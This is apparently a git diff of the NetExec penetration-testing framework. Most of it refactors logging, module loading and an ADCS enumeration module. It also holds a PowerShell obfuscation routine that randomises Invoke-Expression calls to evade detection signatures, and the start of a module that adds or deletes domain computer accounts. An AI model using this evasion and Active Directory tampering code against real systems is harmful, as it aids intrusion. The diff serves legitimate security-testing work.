join + choice(["", " "]) + choice(base_script_array),
|
||||
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")",
|
||||
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
|
||||
]
|
||||
|
||||
# Randomly select one of the above commands.
|
||||
newScript = choice(new_script_array)
|
||||
new_script = choice(new_script_array)
|
||||
|
||||
# Generate random invoke operation syntax
|
||||
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
|
||||
@@ -383,54 +411,22 @@ def invoke_obfuscation(script_string):
|
||||
# but not a silver bullet
|
||||
# These methods draw on common environment variable values and PowerShell Automatic Variable
|
||||
# values/methods/members/properties/etc.
|
||||
invocationOperator = choice([".", "&"]) + choice(["", " "])
|
||||
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
|
||||
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
|
||||
invocation_operator = choice([".", "&"]) + choice(["", " "])
|
||||
invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')"))
|
||||
|
||||
# Randomly choose from above invoke operation syntaxes.
|
||||
invokeExpression = choice(invoke_expression_syntax)
|
||||
invoke_expression = choice(invoke_expression_syntax)
|
||||
|
||||
# Randomize the case of selected invoke operation.
|
||||
invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
|
||||
invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression)
|
||||
|
||||
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
|
||||
invokeOptions = [
|
||||
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
|
||||
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
|
||||
invoke_options = [
|
||||
choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]),
|
||||
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
|
||||
]
|
||||
|
||||
obfuscated_payload = choice(invokeOptions)
|
||||
obfuscated_script = choice(invoke_options)
|
||||
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
|
||||
return obfuscated_script
|
||||
|
||||
"""
|
||||
# Array to store all selected PowerShell execution flags.
|
||||
powerShellFlags = []
|
||||
|
||||
noProfile = '-nop'
|
||||
nonInteractive = '-noni'
|
||||
windowStyle = '-w'
|
||||
|
||||
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
|
||||
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
|
||||
commandlineOptions = []
|
||||
commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
|
||||
commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
|
||||
# Randomly decide to write WindowStyle value with flag substring or integer value.
|
||||
commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
|
||||
|
||||
# Randomize the case of all command-line arguments.
|
||||
for count, option in enumerate(commandlineOptions):
|
||||
commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
|
||||
|
||||
for count, option in enumerate(commandlineOptions):
|
||||
commandlineOptions[count] = ''.join(option)
|
||||
|
||||
commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
|
||||
commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
|
||||
|
||||
obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
|
||||
"""
|
||||
return obfuscated_payload
|
||||
+14
-28
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import nxc
|
||||
import importlib
|
||||
import traceback
|
||||
@@ -12,7 +9,7 @@ from os.path import join as path_join
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import nxc_PATH
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class ModuleLoader:
|
||||
@@ -22,13 +19,14 @@ class ModuleLoader:
|
||||
self.logger = logger
|
||||
|
||||
def module_is_sane(self, module, module_path):
|
||||
"""
|
||||
Check if a module has the proper attributes
|
||||
"""
|
||||
"""Check if a module has the proper attributes"""
|
||||
module_error = False
|
||||
if not hasattr(module, "name"):
|
||||
self.logger.fail(f"{module_path} missing the name variable")
|
||||
module_error = True
|
||||
elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
|
||||
self.logger.fail(f"{module_path} filename must match the module name {module.name}")
|
||||
module_error = True
|
||||
elif not hasattr(module, "description"):
|
||||
self.logger.fail(f"{module_path} missing the description variable")
|
||||
module_error = True
|
||||
@@ -47,18 +45,13 @@ class ModuleLoader:
|
||||
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
|
||||
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
# elif not hasattr(module, 'chain_support'):
|
||||
# self.logger.fail('{} missing the chain_support variable'.format(module_path))
|
||||
# module_error = True
|
||||
|
||||
if module_error:
|
||||
return False
|
||||
return True
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""
|
||||
Load a module, initializing it and checking that it has the proper attributes
|
||||
"""
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module = spec.loader.load_module().NXCModule()
|
||||
@@ -68,12 +61,9 @@ class ModuleLoader:
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
return None
|
||||
|
||||
def init_module(self, module_path):
|
||||
"""
|
||||
Initialize a module for execution
|
||||
"""
|
||||
"""Initialize a module for execution"""
|
||||
module = None
|
||||
module = self.load_module(module_path)
|
||||
|
||||
@@ -99,21 +89,20 @@ class ModuleLoader:
|
||||
sys.exit(1)
|
||||
|
||||
def get_module_info(self, module_path):
|
||||
"""
|
||||
Get the path, description, and options from a module
|
||||
"""
|
||||
"""Get the path, description, and options from a module"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name.lower()}": {
|
||||
f"{module_spec.name}": {
|
||||
"path": module_path,
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
"supported_protocols": module_spec.supported_protocols,
|
||||
"opsec_safe": module_spec.opsec_safe,
|
||||
"multiple_hosts": module_spec.multiple_hosts,
|
||||
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
|
||||
}
|
||||
}
|
||||
if self.module_is_sane(module_spec, module_path):
|
||||
@@ -121,16 +110,13 @@ class ModuleLoader:
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
return None
|
||||
|
||||
def list_modules(self):
|
||||
"""
|
||||
List modules without initializing them
|
||||
"""
|
||||
"""List modules without initializing them"""
|
||||
modules = {}
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
path_join(nxc_PATH, "modules"),
|
||||
path_join(NXC_PATH, "modules"),
|
||||
]
|
||||
|
||||
for path in modules_paths:
|
||||
@@ -140,6 +126,6 @@ class ModuleLoader:
|
||||
module_path = path_join(path, module)
|
||||
module_data = self.get_module_info(module_path)
|
||||
modules.update(module_data)
|
||||
except:
|
||||
pass
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error loading module {module}: {e}")
|
||||
return modules
|
||||
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from types import ModuleType
|
||||
from importlib.machinery import SourceFileLoader
|
||||
from os import listdir
|
||||
|
||||
+115
-104
@@ -1,17 +1,82 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import logging
|
||||
from logging import LogRecord
|
||||
from logging.handlers import RotatingFileHandler
|
||||
import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.helpers.misc import called_from_cmd_args
|
||||
from nxc.console import nxc_console
|
||||
from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
from rich.logging import RichHandler
|
||||
import functools
|
||||
import inspect
|
||||
import argparse
|
||||
|
||||
|
||||
def parse_debug_args():
|
||||
debug_parser = argparse.ArgumentParser(add_help=False)
|
||||
debug_parser.add_argument("--debug", action="store_true")
|
||||
debug_parser.add_argument("--verbose", action="store_true")
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
|
||||
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
|
||||
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
def no_debug(func):
|
||||
"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
|
||||
"""
|
||||
@functools.wraps(func)
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
self.log_console_to_file(formatted_text, *args, **kwargs)
|
||||
return wrapper
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
@@ -19,144 +84,91 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
handlers=[
|
||||
RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False,
|
||||
)
|
||||
],
|
||||
handlers=[RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.output_file = None
|
||||
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
#logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("dploot").disabled = True
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
"""Format msg for output
|
||||
|
||||
def format(self, msg, *args, **kwargs):
|
||||
"""
|
||||
Format msg for output if needed
|
||||
This is used instead of process() since process() applies to _all_ messages, including debug calls
|
||||
"""
|
||||
if self.extra is None:
|
||||
return f"{msg}", kwargs
|
||||
|
||||
if "module_name" in self.extra.keys():
|
||||
if len(self.extra["module_name"]) > 8:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
|
||||
# If the logger is being called when hooking the 'options' module function
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra.keys()):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
if "module_name" in self.extra.keys():
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"])
|
||||
else:
|
||||
module_name = colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
return (
|
||||
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
|
||||
|
||||
@no_debug
|
||||
def display(self, msg, *args, **kwargs):
|
||||
"""
|
||||
Display text to console, formatted for nxc
|
||||
"""
|
||||
try:
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
"""Display text to console, formatted for nxc"""
|
||||
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def success(self, msg, color='green', *args, **kwargs):
|
||||
"""
|
||||
Print some sort of success to the user
|
||||
"""
|
||||
try:
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
@no_debug
|
||||
def success(self, msg, color="green", *args, **kwargs):
|
||||
"""Prints some sort of success to the user"""
|
||||
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def highlight(self, msg, *args, **kwargs):
|
||||
"""
|
||||
Prints a completely yellow highlighted message to the user
|
||||
"""
|
||||
try:
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
"""Prints a completely yellow highlighted message to the user"""
|
||||
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def fail(self, msg, color='red', *args, **kwargs):
|
||||
"""
|
||||
Prints a failure (may or may not be an error) - e.g. login creds didn't work
|
||||
"""
|
||||
try:
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
@no_debug
|
||||
def fail(self, msg, color="red", *args, **kwargs):
|
||||
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
|
||||
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def log_console_to_file(self, text, *args, **kwargs):
|
||||
"""
|
||||
"""Log the console output to a file
|
||||
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
# will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
if len(self.logger.handlers):
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(
|
||||
LogRecord(
|
||||
"nxc",
|
||||
20,
|
||||
"",
|
||||
kwargs,
|
||||
msg=text,
|
||||
args=args,
|
||||
exc_info=None,
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
else:
|
||||
self.logger.info(text)
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
@@ -164,16 +176,16 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
file_creation = False
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
open(output_file, "x")
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
|
||||
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
else:
|
||||
f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
|
||||
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
|
||||
file_handler.setFormatter(file_formatter)
|
||||
self.logger.addHandler(file_handler)
|
||||
@@ -181,17 +193,16 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
@staticmethod
|
||||
def init_log_file():
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime('%Y-%m-%d')
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
if not os.path.exists(newpath):
|
||||
os.makedirs(newpath)
|
||||
log_filename = os.path.join(
|
||||
return os.path.join(
|
||||
os.path.expanduser("~/.nxc"),
|
||||
"logs",
|
||||
datetime.now().strftime('%Y-%m-%d'),
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
return log_filename
|
||||
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
@@ -199,7 +210,7 @@ class TermEscapeCodeFormatter(logging.Formatter):
|
||||
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
|
||||
super().__init__(fmt, datefmt, style, validate)
|
||||
|
||||
def format(self, record):
|
||||
def format(self, record): # noqa: A003
|
||||
escape_re = re.compile(r"\x1b\[[0-9;]*m")
|
||||
record.msg = re.sub(escape_re, "", str(record.msg))
|
||||
return super().format(record)
|
||||
|
||||
+14
-22
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
@@ -29,7 +27,6 @@ class NXCModule:
|
||||
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
"""
|
||||
self.context = context
|
||||
self.regex = re.compile("(https?://.+)")
|
||||
|
||||
self.server = None
|
||||
@@ -40,23 +37,22 @@ class NXCModule:
|
||||
self.base_dn = module_options["BASE_DN"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""
|
||||
On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
|
||||
"""
|
||||
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
|
||||
self.context = context
|
||||
if self.server is None:
|
||||
search_filter = "(objectClass=pKIEnrollmentService)"
|
||||
else:
|
||||
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
|
||||
self.context.log.highlight("Using PKI CN: {}".format(self.server))
|
||||
self.context.log.highlight(f"Using PKI CN: {self.server}")
|
||||
|
||||
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
|
||||
context.log.display(f"Starting LDAP search with search filter '{search_filter}'")
|
||||
|
||||
try:
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
|
||||
|
||||
if self.server is None:
|
||||
resp = connection.ldapConnection.search(
|
||||
connection.ldapConnection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=[],
|
||||
sizeLimit=0,
|
||||
@@ -65,7 +61,7 @@ class NXCModule:
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
else:
|
||||
resp = connection.ldapConnection.search(
|
||||
connection.ldapConnection.search(
|
||||
searchFilter=search_filter + base_dn_root + ")",
|
||||
attributes=["certificateTemplates"],
|
||||
sizeLimit=0,
|
||||
@@ -74,12 +70,10 @@ class NXCModule:
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail("Obtained unexpected exception: {}".format(str(e)))
|
||||
context.log.fail(f"Obtained unexpected exception: {e}")
|
||||
|
||||
def process_servers(self, item):
|
||||
"""
|
||||
Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.
|
||||
"""
|
||||
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
|
||||
if not isinstance(item, ldapasn1.SearchResultEntry):
|
||||
return
|
||||
|
||||
@@ -103,19 +97,17 @@ class NXCModule:
|
||||
urls.append(match.group(1))
|
||||
except Exception as e:
|
||||
entry = host_name or "item"
|
||||
self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
|
||||
self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'")
|
||||
|
||||
if host_name:
|
||||
self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
|
||||
self.context.log.highlight(f"Found PKI Enrollment Server: {host_name}")
|
||||
if cn:
|
||||
self.context.log.highlight("Found CN: {}".format(cn))
|
||||
self.context.log.highlight(f"Found CN: {cn}")
|
||||
for url in urls:
|
||||
self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
|
||||
self.context.log.highlight(f"Found PKI Enrollment WebService: {url}")
|
||||
|
||||
def process_templates(self, item):
|
||||
"""
|
||||
Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.
|
||||
"""
|
||||
"""Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server."""
|
||||
if not isinstance(item, ldapasn1.SearchResultEntry):
|
||||
return
|
||||
|
||||
@@ -134,4 +126,4 @@ class NXCModule:
|
||||
|
||||
if templates:
|
||||
for t in templates:
|
||||
self.context.log.highlight("Found Certificate Template: {}".format(t))
|
||||
self.context.log.highlight(f"Found Certificate Template: {t}")
|
||||
@@ -0,0 +1,301 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
Thanks to the guys at impacket for the original code
|
||||
"""
|
||||
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
add-computer: Specify add-computer to call the module using smb
|
||||
NAME: Specify the NAME option to name the Computer to be added
|
||||
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
|
||||
DELETE: Specify DELETE to remove a Computer
|
||||
CHANGEPW: Specify CHANGEPW to modify a Computer password
|
||||
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
"""
|
||||
self.__baseDN = None
|
||||
self.__computerGroup = None
|
||||
self.__method = "SAMR"
|
||||
self.__noAdd = False
|
||||
self.__delete = False
|
||||
self.noLDAPRequired = False
|
||||
|
||||
if "DELETE" in module_options:
|
||||
self.__delete = True
|
||||
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
sys.exit(1)
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
if "NAME" in module_options:
|
||||
self.__computerName = module_options["NAME"]
|
||||
if self.__computerName[-1] != "$":
|
||||
self.__computerName += "$"
|
||||
else:
|
||||
context.log.error("NAME option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
if "PASSWORD" in module_options:
|
||||
self.__computerPassword = module_options["PASSWORD"]
|
||||
elif "PASSWORD" not in module_options and not self.__delete:
|
||||
context.log.error("PASSWORD option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__host = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
